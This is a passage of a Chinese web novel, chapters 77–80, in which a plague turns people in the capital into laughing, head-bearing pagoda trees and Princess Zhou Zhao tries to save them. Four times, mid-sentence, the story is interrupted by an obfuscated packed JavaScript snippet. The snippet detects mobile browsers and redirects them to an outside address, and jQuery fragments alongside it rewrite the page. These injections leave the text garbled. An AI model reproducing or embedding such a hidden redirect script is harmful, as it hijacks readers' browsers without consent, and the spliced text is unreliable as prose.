闫斯年跟着抬头看去,一看之下刹那间面色如纸,忍不住叫道:“……鬼!!总督大人变成鬼了!” 甫一说完,那阵叽里咕噜的笑声又响彻云霄。 只见眼前这棵巨大无比的槐树上,除了沈博安那张镶嵌在树干上半死不活的脸,枝头竟挂着一棵鲜活的人头! 那人头睁着眼睛,望着他们,叽叽嘎嘎笑个不停。 沈博安终于醒来,见到周昭立刻像见了活爹似的哭喊道:“殿下救我!救我啊殿下!” 沈博安叫得有多凄厉,那人头就笑得有多欢快。 他们一个叫,一个笑,空空荡荡的总督府霎时间好似地府,任谁看到眼前这幅场景都要毛骨悚然。 “……”周昭忍住恶心,“总督大人,这是怎么回事儿?” 沈博安哭丧着脸道:“我也不知道怎么回事儿。” 那日沈博安自北苑回来,当晚就觉得身上使不上劲儿,他想到自己那位新夫人变成槐树之前,也常念叨周身无力。 沈博安心里害怕,于是第二日便告了假。 谁知越是怕什么来什么,沈博安没过几天也长出槐木手脚来,他听说盛都城里这种人都被抓去大理寺,愈发不敢声张,表面是称病不出,实际暗地里遣散家丁,只留下几人为自己寻医问药。 这跟周昭想得八九不离十,那人头笑了会儿,似乎累了,闭着眼睛小憩,但就是这样才愈发可怖。 沈博安喘了口气,又道:“至于这鬼东西!” 沈博安面容扭曲,叫道:“我是真的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16920797|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道啊!!我今日一醒来,这东西就、就长出来了!殿下!您是苍界山上的活菩萨,我从前多有得罪,您一定救救我啊殿下!” 沈博安这么一高声叫唤,人头又醒过来,双目圆睁望着他们几人。 周昭又问:“马厩那些死人呢?” 沈博安脸色微变,支支吾吾道:“我还当那些都是妖物……” 裴砚双手抱胸道:“你是怕这些人跑出去,坏了沈府名声吧,还是怕他们传染给你?” 闫斯年看着这位平日高高在上颐指气使的总督,如今变成这副模样,好歹也是他领头上司,心里百般滋味难言,忍不住道:“所以那些人,都是大人您杀的?” 沈博安并不否认,周昭却道:“等等!裴砚,你刚才说……传染?” 裴砚面色凝重,又摇头道:“我瞎说的。” “不!你是对的,兴许这东西真的会传染!”周昭想到自北苑回来就一病不起的周澈,不由后背发凉阵阵后怕。她留下闫斯年在沈府看着沈博安,跟裴砚一同赶往泰华殿。 刚踏进殿中就闻到一股浓重的药味儿,周昭看见小喜,一把抓住问道:“小喜,五殿下呢?” 小喜手里药碗泼了些出来,洒在周昭衣袖上,她愣愣道:“公主怎么来了?殿下在屋里睡觉呢......” 裴砚抢过药碗,周昭又问:“五殿下有没有......有没有......” “是小昭吗?”屋内传来一个低哑的嗓音。 周昭一阵风似的冲进去,周澈已经坐起来了,冲她笑笑,温声道:“小昭,前几日不是刚来过,怎地又风风火火跑来了,我没事儿。” 周昭扑过去,将周澈手脚衣裳都撩开,仔仔细细看了一遍,确认上面一点儿多余的痕迹都没有,才长长地吐出一口气来。 周澈由着她摆弄,哭笑不得道:“小昭,到底发生什么事儿了?” “没、没什么......”周昭为周澈重新整理好衣裳,随口编道,“五哥从前发热就要浑身起疹子,我害怕。” 周澈微笑道:“你看你,起疹子有什么好怕的。” 周昭从没有将近日盛都城里发生的事儿跟周澈提起过,也特意跟小喜交待过不许多说,周澈整日养病,对槐树异化之事还停留在北苑那会子。 周澈掩住嘴轻轻咳嗽几声,周昭抬手接过药碗,温声道:“五哥,快把药喝了罢。” 周澈仰脖一口气喝完药,他从小喝药长大,如今也不觉得苦。 周澈又想起北苑,叹息道:“我这几日常想,如果我当初收了那姑娘,兴许她也不会死。” “五哥,人各有命,你何苦难为自己的身子。” “小昭,你信命吗?” “……我不信。” 她如今再说这话,已跟当年那个豪言壮志说出“事在人为,不言天命”的小姑娘心境不同。 “我从前信命,如今不信了。”周澈眼中光芒微动,微笑道,“五哥还等着跟你和霍将军去看看北疆雪山。” 二人说了会儿话,周澈睡下后周昭才离开。 出了泰华殿,天色晦暗不明,周昭叹息道:“裴砚,你说我这是怎么了......我心里总觉着不踏实。” 裴砚跟在周昭身边,安慰道:“殿下,会好起来的。” “......但愿如此吧。” 78. 第 78 章 宣庆二十五年,是周朝史上槐树开花最早的一年。 这年春天,槐树花香飘香十里,经久不散。 但盛都城上上下下,没有一个人愿意闻到这股沁人心脾的花香,百姓称之为“槐鬼年”。 起初闫斯年只是在南衙腾了几间杂房,来关那些被槐树异化的人,后来发现根本用不着腾出房间。 因为这些关进南衙的人,很快长成了像沈博安那样高大的槐树。一旦槐树生根,这个人就会长在原地无法动弹。 更离奇惊悚的是,槐树生根以后,等到槐花盛放之时,便会悄无声息地在某天清晨长出人头。 起初是一颗,后来慢慢地变成两颗、三颗...... 沈博安那棵槐树,短短两个月已经长出五颗人头! 南衙校场一眼望去,成了片郁郁葱葱繁花紧簇的槐树林。 周昭走近校场,沈博安最先发现她,叫道:“殿下!” 一呼百应,槐鬼上的人脸几乎全部睁开眼睛,齐声唤道:“殿下!” 裴砚阻拦道:“殿下,还是别靠太近得好。” 周昭站在围栏外,见沈博安那棵槐鬼下面站着的,是那日他们在沈符碰见的那位家仆,家仆手中捧着一副碗筷,站在一架梯子上,十分尽心尽力地往沈博安嘴里喂饭。 说来奇怪,这些人虽然变成槐树,却胃口依旧,甚至出奇得好。 沈博安嘴里一边大嚼一块羊腿,一边唤道:“殿下,您到底想出什么法子没有?” 裴砚低声骂道:“吃都堵不住嘴!” 旁边的槐鬼十分羡慕地看着沈博安吃得满嘴流油,舔了舔嘴巴,说道:“兄弟,劳驾给点吃的!” 哪怕是在这片槐鬼林里,也能一眼看出高低贵贱来。有钱有权的,就算变成槐鬼也有仆人跟着伺候,没钱的,也只能眼巴巴望着别人享福。 周昭问闫斯年:“统领,咱们安排送饭的人听说昨天跑了几个,可补上了?” 闫斯年小心地捂了捂面巾,答道:“回殿下,补了两个,只要银子到位,掉脑袋……不,长脑袋的事儿也有人愿意干。” 闫斯年说完,觉得这话配上眼前沈总督挂满了五颗脑袋的模样,实在憋不住地好笑,于是自己忍不住先笑了一声。 周昭见他笑个不停,微微蹙眉道:“统领。” 闫斯年应道:“殿下还有什么吩咐?” 闫斯年在回话,笑声却没停。 裴砚走近一看,提醒道:“殿下,是那槐鬼在笑。” 果然,沈博安那棵槐鬼上其中一颗脑袋睁开眼睛,就是他叽叽咕咕在笑。 笑声惊扰了附近其他槐鬼,左右各有两个人头也开始嘻嘻哈哈笑个不停。 那梯子上站着的沈家仆人终于不再淡定,手一抖摔了碗,却没摔碎,那碗鬼使神差地被另一只“手”接过去,沈博安旁边那个一开始就眼巴巴望着羊腿的家伙“双手”捧着碗埋头大吃起来。 闫斯年惊讶道:“槐鬼活了!那藤蔓竟然会动!” 啃着羊腿的人听见这么一句,才反应过来是什么东西正在往自己嘴里喂饭,当即大叫一声“妈呀!”。 这回那只碗结结实实掉在地上,藤蔓也随之垂落下去不动了。 远远走过来的周驰看见这一幕,右手按在剑上,边走边道:“难道槐鬼能听人的话?如果是这样,槐鬼留不得。” 这话落入沈博安耳中,他面色煞白,叫唤道:“大殿下!是我呀,博安!” 周驰没有理会,周昭回头道:“大哥,你来了。” 她见周驰装扮与寻常无异,不像他们皆覆着面巾,担忧道:“大哥,你怎么……” 周驰摆一摆手,无所顾忌道:“难道我把脸遮起来,这东西就怕我了吗?” 他们这么做并无依据,只是图个心安,周昭也不能再劝什么。周驰听见槐鬼笑声愈发烦躁,几次想拔剑出来,忍了又忍,问道:“斯年,今日增加了几个?” 闫斯年回禀道:“不大好,增加了三十五个。” “三十五个?”周驰恼怒道,“这样下去我盛都岂不全是槐鬼,不剩人烟了?” 前来宣旨的李德海恰好听见这么一句,冷汗涔涔,并不敢靠近校场,只远远地躬身唤了句道:“平南王!公主殿下!陛下有请。” 二人马不停蹄入宫,不过数日未见,宣庆帝仿佛老了十多岁。 他略抬了抬沉重的眼皮,说道:“皇儿们来了,坐。” 待他们坐定,宣庆帝问道:“槐鬼一事,可有进展?” 均不作答。 宣庆帝心中了然,复叹息道:“要是国师还在......你们二人都说说,槐鬼从何而来?” 周驰沉吟道:“槐鬼最早是在沈博安夫人身上发现的,儿臣也去查过那女子,家世清白,并未发现有什么不同。但北苑那日,有一个人出现的突然。” 宣庆帝道:“接着说。” 周驰道:“黎国谢景。” 周昭一听,急道:“大哥,长淮那天刚到盛都,而沈夫人数日前就发现端倪,你也是知道的。” 周驰不慌不忙道:“谢景说是刚到,谁知道他哪天来的盛都?或者有没有派其他人来盛都。” “大哥——” 宣庆帝抬手道:“不要再争了!” 他面色沉沉,问道:“明鸢,你认为不是谢景,那你说说。” 宣庆帝话里话外已信了三分,周昭不由斟酌道:“去年年前,儿臣去了趟苍界山,那时候就看见沿路槐树雪日开花,虽然惊讶却没当一回事儿。等到上山,又发现师父的坟墓被盗。眼下出了槐鬼,儿臣在想,这两件事之间莫不是有什么关联......” 宣庆帝凝眸道:“说来听听。” “师父一生未曾听说过有仇家,坟墓被盗,儿臣唯一能想到的,就是几年前......” 周昭略作停顿,继续道:“儿臣与长淮抓来那疟鬼......” 宣庆帝神思恍惚,喃喃道:“明鸢不提起,朕都要忘了......” 周昭道:“听说疟鬼被师父镇压在龙脊山下,儿臣想求父皇恩准,让我前去看看。” 宣庆帝眯起眼眸,问:“你可知道龙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928370|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脊山是禁地。” “......知道,所以儿臣不敢私自前去。” 宣庆帝沉思片刻,叹道:“好罢,但你要记住,万不能靠近山上宝塔。” 自承乾殿出来,周驰理了理衣裳,说道:“小妹,你是不是觉得,我是为一己私欲诬陷黎国太子。” “……明鸢不敢。” 周驰叹了口气,眼神柔和下来,这样的神情倒是跟周昭有几分相像了:“我知道谢景跟你是旧时玩伴,但他身后是黎国,你身后是大周。虽然黎国同大周历来交好,但谁也不敢保证,以后就能一直交好。那日父皇赐婚你也看见了,难道你敢说他谢景没有半点私心吗?” 周昭心中不是滋味,这话字字句句都戳在她心上,却还是坚定道:“长淮不会的……” 周驰不屑一顾道:“但愿吧。” 那日突然赐婚,难道不正是出于大哥的私心吗? 这话在嘴边滚了一遭,周昭到底没说出口。 又走了几步,周驰问道:“你真要去龙脊山?” 周昭点头道:“我也没别的法子,大哥不必陪我同去。” 周驰直言道:“我的确不想去,龙脊山历来是皇家禁地,听说不吉利。” 周昭微笑道:“没想到,大哥也信这个。” 周驰略一挑眉,道:“不想去,并非不能去。我倒不信,有什么诅咒比槐鬼还可怕的。” 龙脊山有重兵把守,要进山必须得有御赐令牌。这山脉长满墨石崎岖不平,好似游龙脊背,故而得名龙脊山。 此处地势高耸,距离盛都遥遥数十里。 除了周驰兄妹二人,同行还有闫斯年与裴砚。周昭抬眼望去,依稀可见山顶矗立着一座高耸壮观的宝塔,塔尖四角各有硕大无比的明珠一颗,可见隐隐泛光,不由问道:“大哥,都说龙脊山是禁地,父皇又不许我们靠近山上那座宝塔,这其中缘由,大哥知道吗?” 周驰似乎并不是很想说,过了阵子才道:“龙脊山不是禁地,你抬头看见的那座七宝玲珑塔才是。” 虽然是上坡的山路,周驰走起来却四平八稳,这么多天每日都被困在禁军营里,倒让人忘了平南王也是位战功赫赫的将军。 既然开了头,就没有不说下去的道理,周驰继续道:“小妹,你还记不记得咱们那位老祖宗,成祖皇帝。” 周昭点头道:“记得,他是自圣祖皇帝之后再次一统天下的皇帝,周戈言。” “我大周自圣祖皇帝一统天下,四海无不臣服。但这一弊端,也在数百年后显现出来。由于天下久无战事,先祖们居安不思危,周朝一度陷入四分五裂的诸侯混战。成祖皇帝就是那时候出生的,周戈言,意在止戈纳言。他的确不负众望,再度实现大一统。” 周驰提起这位已故君主,言语间满是钦佩,末了又道:“成祖皇帝封禅龙脊山,又让万名俘虏修建了这座七宝玲珑塔,耗时整整七年,里面堆满了奇珍异宝。不过……据传由于连年征战死的人太多,这座宝塔阴气过重,修建好之后不久,成祖一命呜呼,宝塔也从此被封印起来,后人再不能打开。” 79. 第 79 章 周昭默默听着,感叹道:“都说成祖千古一帝,却只活了短短三十六年……” 周驰语气隐隐激动道:“三十六又如何?若能像成祖再度一统天下,哪怕是即刻死了,也是值得。” 身后突然传来一声低笑,周驰回过头,见在笑的是周昭身边跟着的少年,不满道:“为何发笑?” 裴砚表面恭敬,实在大胆道:“我笑大殿下学什么不好,竟想学周戈言。” “老祖名讳,也是你这小儿直呼的。”周驰眉宇间压着怒气,周昭忙道:“大哥莫要生气,他刚来公主府不懂规矩,我回去定好好罚他。” 周驰自然不会放下身段跟一个十七八岁的少年计较,但他心中不快,一路都没再说什么话。 等到了龙脊山镇压疟鬼的山腰上,那是一排建于成祖时期的低矮瓦房。据说本来是那些修建宝塔的俘虏住的,后来垮的垮,塌的塌,如今就剩这么几间还孤零零立在山上。 周昭率先弯腰进去,里面漆黑一片,裴砚点了火把举起,黑暗中蓦地露出一双血红的眼睛。 周昭认出这是当年在三苗抓到的疟鬼,走近一看,疟鬼好端端地坐在瓦房里,双脚被铁链缚着,脖子上仍是一圈黑线。 周昭不由想起那时候疟鬼突然扭断自己脑袋的一幕,总觉得那颗头如今也摇摇欲坠。 周昭问道:“你……还记得我吗?” 疟鬼一言不发,周昭道:“那你还记得我师父吗?他叫江梅棠。” 疟鬼还是没反应。 周昭道:“……我师父,他死了。” 听到这里,疟鬼露出一丝说不上来的恐怖神情,他蠢蠢欲动,铁链哗哗作响,眼神仿佛要把周昭活吞下去。 周驰皱眉道:“小妹,你看他这幅样子,难道还能去偷国师尸骨吗?” 周昭叹了口气,这瓦屋破破烂烂,的确跟槐鬼扯不上半点关系。正要离开,疟鬼突然双目圆睁,喃喃道:“众叛亲离,永世堕鬼……” 周驰回头问道:“他在念叨什么?” 周昭却听清了,这两句话仿佛一个鲜明的诅咒,让她一瞬间就掉进当年那个诡异的山洞,不由脸色发白,强撑道:“大哥,我们快走罢。” 裴砚面露担忧,疟鬼突然大叫道:“你们兄妹二人,必有一死!活下来的那个将众叛亲离,永世堕鬼!” “混账!”周驰拔剑回身,不待刺出,疟鬼却反扑上来,长剑顷刻间捅穿了他的身体。 下山路上,众人皆心事重重,一路无话。 周驰在宫外早有府邸,并不与周昭同路,进了城门便各自散了。 往日热闹无比的皇都大街此刻繁华不再,商铺关了近半,来往行人皆神色匆匆,并不过多逗留。 周昭牵着狼牙,几个月前她随北疆军回城之景象历历在目,心情愈发沉重。 咚、咚、咚! 突如其来的声音在这略显空荡的大街无比清晰,伴随着这个声音的,还有断断续续的哭声。 周昭驻足道:“裴砚,你听什么声音?” 裴砚侧耳聆听,回答:“像是斧子在砍什么东西。” 二人循着声音走近一间半开着的铺子,背影是个男人正挥着手里的斧头,一下又一下,咚、咚! 那斧头锋利无比,闪着寒光。 旁边地上坐着个泪流满面的妇人,用手捂住了怀里孩子的眼睛。 裴砚上前拍了拍男人肩膀,对方回过头,露出一张痛苦而扭曲的脸,他手里斧子原来砍的不是别的,正是他那已经变成槐木的左腿! 周昭大惊失色,冲上前去夺去男人手中斧头,质问道:“你在干什么!” 男人左腿一半血肉模糊,一半则是刀口错乱交杂的木头,鲜红的血水混着绿色的槐树汁液汨汨流淌,渗进土里呈现出一种诡异的黑来。 “给我!”男人抢过斧头,他因为剧烈的疼痛而面色发白,红着眼喝道:“不砍掉!难道要变成那种怪物吗!” 正要再砍,女人怀里的孩子突然哇哇大哭,男人举着斧头的手抖个不停,大叫一声,丢开斧头,喊道:“救救我们!谁来救救我们?” “爹!爹,我怕......” 一家三口抱头痛哭,裴砚拉住周昭,低声道:“殿下,别靠太近。” “......您是、是明鸢殿下吧?”女人抬起眼睛,周昭嘴唇微微翕动,女人愈发肯定,叫道:“是殿下!我从前在苍界山见过您,殿下,求求您救救我丈夫,殿下!” 女人声嘶力竭,裴砚简直不能将她的双手从周昭衣摆上拿开,随即越来越多的人纷纷打开门窗跑到大街上,最先跑来的男人扑到周昭面前跪下,连连磕头道:“殿下,求求您救救我儿子!” 周昭弯腰欲扶:“您先……” 又有人跪在周昭身边,痛哭流涕道:“殿下,您跟着国师在苍界山学艺多年,一定能救我们的吧!殿下,求您再发发善心!” “我……大家先起来,好吗?” “殿下,我不想变成那幅鬼样子!一定还有什么法子的吧!” “啊啊啊啊!我的胳膊!” 有人当场异化,但阻挡不住越来越多的人朝着这个方向涌过来,尖叫,拥挤,密不透风。 周昭简直要无法呼吸。 越来越多的人挤进这间小小的铺子跪在周昭脚下,面前那一只只朝她伸过来的手,一双双朝她望过来的眼睛,每个人的脸上都写满了深刻的恐惧跟热切的期望,每张嘴都在不约而同地说: 救救我。 救救我! 救救我!!! 他们默默无闻地忍受了几个月,看着身边一个又一个亲人变成挂满人头的槐鬼,听着树干上传来惊悚的笑声,已经到了接近崩溃的边缘。 他们看见周昭,就像溺水的人看到一根稻草,哪怕一根稻草并不能承担所有的重量,但此时此刻,这根浮在水面上的稻草就是他们全部的希望。 裴砚压低声音道:“殿下,人太多了,先离开。” “……不,我不能走。” 裴砚眉头紧锁,周昭冷静道:“如果我走了,百姓会认为皇室已经放弃了他们,我不能走。” “可……” “裴砚,你别说了。” 周昭仿佛被槐鬼按进行人岭那个密不透风的漩涡底下,水流淹过头顶让她濒临窒息,但有一个声音却像那时候一样愈发清晰而坚定: 我不能走。 我是百姓信奉的皇女,哪怕天命要亡我大周,我也要把这天命反过来! 一股热血直冲头顶,周昭高声道:“大家听我说。” 人们停下哭喊,等待着,等待着周昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932777|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出那句话。 迎着这些满怀希望的目光,周昭心跳如鼓,目光坚定,终于说道:“我周昭发誓,只要我活着一天,就一定找到槐鬼的破解之法。就像两年前那场瘟疫,都会好起来的,相信我!” 人群安静了一瞬,随即爆发出轰鸣:“天佑神女!天佑我大周!” ...... 就像是上天为了回应这句话,折杞跟闫斯年穿过重重叠叠的人墙挤进来,折杞招手道:“昭姐姐!我们可算找到你了!” 他的眼中闪动着兴奋的光芒,抓住周昭的手,大声叫道:“昭姐姐,有办法对付槐鬼了!” 紧随其后的闫斯年心中隐隐觉得这种说法不妥,但不容他细想,此刻狂热的人群听见这句宣告,无异于一滴水珠砸进滚烫沸腾的油锅,有人叫道:“......老天爷显灵了!!” “神女会保佑我们的!我们有救了!” 他们眼神热切地目送周昭离开,脸上无不燃起了希望的火焰,在这熊熊燃烧的火焰之中,仿佛那些在盛都城日日尖叫、嬉笑着的槐鬼已经被烧了个干净。 一路策马狂奔,畅通无阻。 周昭下了马直冲南衙校场,那里早有周驰等人围着沈斯年那棵槐鬼啧啧称奇。 槐鬼还是那棵槐鬼,不同的是,上面只剩下四颗人头。她一颗心砰砰直跳,问道:“这是怎么回事儿?怎么突然......” 沈家仆人回答道:“我刚才给大人喂饭,那、那人头笑着笑着就、就掉下来了!” “掉下来?然后呢!” 周驰指了指地面,“消失了。” 沈博安则喜气洋洋道:“看来沈某的霉运到头啦!” 折杞大着胆子道:“我想,是不是等这些人头全部掉下来,沈总督就能恢复正常了?” 周昭道:“这……从前我们也砍过人头,但第二日又会长出来。” 周驰道:“这次不一样,是它自己掉下来的。” 闫斯年问道:“可这人头为什么无缘无故掉下来……下官觉得这其中似有不妥……” “斯年,我沈某平常待你不薄,你说这话,几个意思?”沈博安挑起眉头,不知是不是因为少了一个人头,他的脸色也比昨日红润些。 闫斯年连忙叠声说了几个“不敢”,退到一边不再言语了。 几人围着槐鬼转来转去,始终参不透玄机。 校场上除了沈博安那槐鬼上的人头是睁着眼睛,其余大多闭着眼睛仿佛在休息。 隔壁那位贪吃的兄弟小声道:“各位大人……有没有可能……我们身上挂着的这些人头要长大了,才会掉下来?就像……像结、结结果子、子……” 他说得磕磕巴巴,有人噗嗤笑出声来。 “谁、谁在在笑……” 这下不是一个人,而是一片人都开始叽叽咕咕哈哈大笑。 那些人头此刻都醒过来了,睁着眼睛笑个不停,越笑声音越尖利,人头随着笑声摇摇欲坠,简直好像快要从枝头掉下来一样。 周昭忽然想起什么,问道:“闫统领,你还记不记得我们去沈大人府上那天,人头是不是都在笑?” 闫斯年点点头,周昭叫道:“我知道了。” 周驰立刻明白过来周昭的意思,接着道:“也许,他们笑够了就会掉下来。” 80. 第 80 章 南衙十六卫自建成以来从没有像现在这样热闹过, 校场笑声一片,却不见人影,只有参天槐树枝繁叶茂间露出一颗颗高悬的人头来,就是他们在一刻不停地发出笑声。 沈博安掉了的那颗人头没有再长出来过,这个消息犹如一阵春风吹进这片槐鬼林,继而吹向整个盛都城。 人们自发地开始没日没夜给悬在枝头的人脑袋讲笑话、逗乐子。这些人头也不负众望,笑得越来越大声,越来越开怀。 皇城上空笼罩着一层快乐而又阴郁的双重氛围,不过随着树上的人头一颗颗掉下来,这层阴郁仿佛逐渐远去。 虽然每天都有人变成槐鬼,但人们不再愁眉苦脸,而是极尽所能逗那些人头发笑,甚至连消失许久的杂耍班子都重新回到人们的视线。 但每个人一边笑一边忍不住在心里想:等到这些人头掉光,槐鬼真的会变成人吗? 他们往往刚起了这个念头,又立刻打了个冷颤不敢再继续往下想,于是转头兴高采烈地加入逗乐子大军,让自己沉浸在对未来的美好期许里。 整个南衙这么多天的苦闷压抑一扫而空,取而代之的亦是无边无际的快乐。 这种快乐随着沈博安最后一颗人头落地戛然而止。 那颗人头笑够了,轻轻颤了几下,就像果子成熟后枝桠再也无法承担它的重要,喀嚓一声掉下来,滚进泥土里渐渐化成一滩脓水。 沈博安眼里闪着极度兴奋的光芒,吃了几个月的大鱼大肉让他的脸色十分健康红润,让人毫不怀疑沈总督恢复到原本的样子,一定会毫不费力地策马挥鞭,然后头也不回地离开南衙这个鬼地方。 “哈哈!我就要……” 沈博安眼里的兴奋就像一道划过天际的闪电,他的脸迅速变成跟树干一样的棕绿色,速度之快,待周昭他们反应过来时,人脸已经完全消失不见了。 树干上只剩下巴掌大一块凹凸不平的印记,那块树皮远远看去就像是一张生动而鲜活的脸。 “沈、沈大人呢……”闫斯年惊讶道。 周驰亦唤道:“博安?” 回答他们的是裴砚冷静而漠然的语气:“他死了。” …… “啊啊啊啊!!!” 尖叫声此起彼伏,南衙瞬间又变成暗无天日的地狱,甚至较从前更甚。 闫斯年难以置信道:“这是怎么回事儿!不是说,不是说人头掉光……” 闫斯年的后半句话很快被淹没在浪潮般的尖叫声中,槐鬼们长在树干上的那张原主的脸面容扭曲,撕心裂肺地尖叫着。 相反,枝叶间挂着的人头却好像听见了比从前好笑过一百倍、一千倍的笑话。 笑得头颅发颤,笑得尖叫声连连。 周昭脸上血色褪尽,喃喃道:“为什么会这样……” “都怪你们!!” 一个槐鬼大叫着,藤蔓竟好像活过来似的,被他操纵着向这个方向而来。 裴砚右手护住周昭,左手按在剑柄。 这时一道锋利的剑芒一晃而过,折杞挡在周昭跟周驰二人身前,伸过来的槐鬼藤蔓被削掉半截,痛苦地向后退去。 周驰打量着这十六岁少年,于混乱中赞道:“剑法不错。”折杞慌忙收了剑,低着头立于一旁站好。 周驰向前几步,喝道:“不想死的,安静!” 槐鬼齐刷刷望过来,笑声尚未停,周驰语气含威,拔剑道:“胆敢有人再像刚才那样,我手中这剑不会留情。” 虽然被砍掉枝蔓不会死,但会让人砍掉手脚一样很痛,加之周驰那把剑寒光凛凛,一时竟无人敢再有什么动作。 周昭道:“大家听我们说,人头掉光就会像沈总督那样,所以,恳请大家先不要讲话,至少不要再惹人头发笑。” 她语气温柔坚定,几乎算得上哀求。 于是,槐鬼们一个个安静下来,一时间几乎鸦雀无声,回响了数日笑声也渐渐平息,人头接连闭上眼睛休息去了。 闫斯年不由问道:“二位殿下,如今该怎么办?” 周昭一筹莫展,周驰亦然。裴砚眉头紧锁,显然也没有什么好的法子。 沈博安身边的那棵槐鬼几乎是哭丧着脸,小声恳求道:“大人,我、我不想死。求求你们……” “大人,我不想死啊啊啊……” 周昭简直不敢看那一双双眼睛。 她落荒而逃,却在回宫路上碰见了周澈。 虽然春日将尽,周澈依旧裹着件雪色貂毛大氅,连绵数月的病气让他整个人瘦削且苍白。 他温温柔柔地冲周昭笑了笑,眼中流露出一缕哀伤。 “……小昭,你还好吗?”周澈将手放在周昭肩头,那只手并无多少力气,却仿佛有什么神奇的魔力,将她这些天的疲惫一扫而空。 周昭抬头道:“五哥,你怎么出来了?” 周昭声音有几分喑哑,二人走在砖红宫墙底下,裴砚牵着马默不作声跟在身后。 “我来看看你。” “理应我去看五哥才是,唉,你这病……” 周澈不甚在乎地笑了笑:“每年过了冬总要病一场的,捱过就好了。” 他们不约而同地没有提起盛都城里的槐鬼,周澈虽然被周昭瞒着,但纸总归保不住火。就像周澈早晚会知道,盛都城外也早晚有一天会知道。 这条宫道十分漫长,周澈走两步咳一声,听得周昭心脏阵阵紧缩,想招呼宫人抬软轿来,周澈按了她的手,侧身微笑道:“小昭,听说苍界山有一处神女殿,你去过吗?” 周昭的脸唰地一下就红了,嗫嚅道:“……五哥莫拿我取笑。” “你出生那日,百鸟绕殿,乃是百年不遇的祥兆。父皇赐你明鸢二字,可见寄予厚望。加之两年前,百姓感念你救了他们,因缘种种所以才有了那座神女殿,小昭无需妄自菲薄。不过……” 周澈停顿片刻,一丝担忧浮现在他那双清澈见底的眼眸里,他轻声道:“人能造神,亦能毁神……我听说你前些日子在宫外许了个不小的愿,小昭,你有没有想过,万一这愿……” 周澈一口气说了许多话,又开始捂着胸口咳。 周昭轻拍着他的背,只觉薄薄一片,跟着难过起来,回头道:“裴砚,传轿来。” “……五哥是怕我不能还愿,百姓砸了苍界山那座殿吗?”周昭莞尔笑道,“我本就不是什么神女,一介凡人却被抬进庙宇供着,这可不是什么好事儿,砸了就砸了。” “殿下,莫要说这种话。”身后传来裴砚的声音,他眉头微蹙着,小声道,“……不吉利。” 周昭惊讶道:“裴砚,你还信这个?” 裴砚点头道:“殿下的事情,我信。” 周澈好奇道:“小昭,你这位侍从以前很少见呢。”他又一笑,“对你倒很忠心。” 周昭眉眼弯弯,说道:“裴砚是我的朋友,北疆来的,五哥你不是一直想去北疆看看吗?等霍将军下次回来,你身子也大好了,我去求父皇准我们同去。” “好,多好的事儿啊。” 软轿说着话便抬来了,周昭扶着周澈上了轿,接着刚才的话说:“五哥,你信我吗?” 周澈点点头,周昭凝着他那汪清泉般的干净眸子,将她这数月的心慌和恐惧映照得无处遁形,一下子就消散了。 于是周昭现在心里只剩下一如既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937800|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往的坚定和勇气,一字一句道:“五哥放心,明鸢既然在人前许了愿,一定会有还愿那一天。” 南衙校场已经不够安置槐鬼,盛都城一下子从极乐之巅重新跌回现实。 若说刚出现槐鬼只是小范围的恐慌,现在沈博安的死,无疑让这份恐慌爆炸,成了让每个人都脸色发白的恐惧。 皇城前一日还热闹非凡,到处都是杂耍戏班只为博槐鬼一笑,一夜之间又恢复成几月前的萧索沉寂。 即便有不怕死做些买卖的小商贩也不敢高声语,生怕引得家中有槐鬼的人家不满,更怕听见那让人毛骨悚然的笑声。 申时刚过,便家家户户大门紧闭,安静得没有一丝人气。 唯一日夜不停在这城内游荡的,就是北衙禁军。 他们穿盔带甲,皆配腰刀,为首的那个少年将士一双眼睛亮如繁星,生怕错过了一个胆敢偷偷溜出城的。 这少年便是折杞,那日校场过后,周驰便让他做了这北衙巡查头领。 “参军,这小子趁黑想溜出城!”禁军扭送着一个三十几岁的男人,押到折杞面前,刀背在男人膝弯猛击一下,男人哎哟一声扑通跪地。 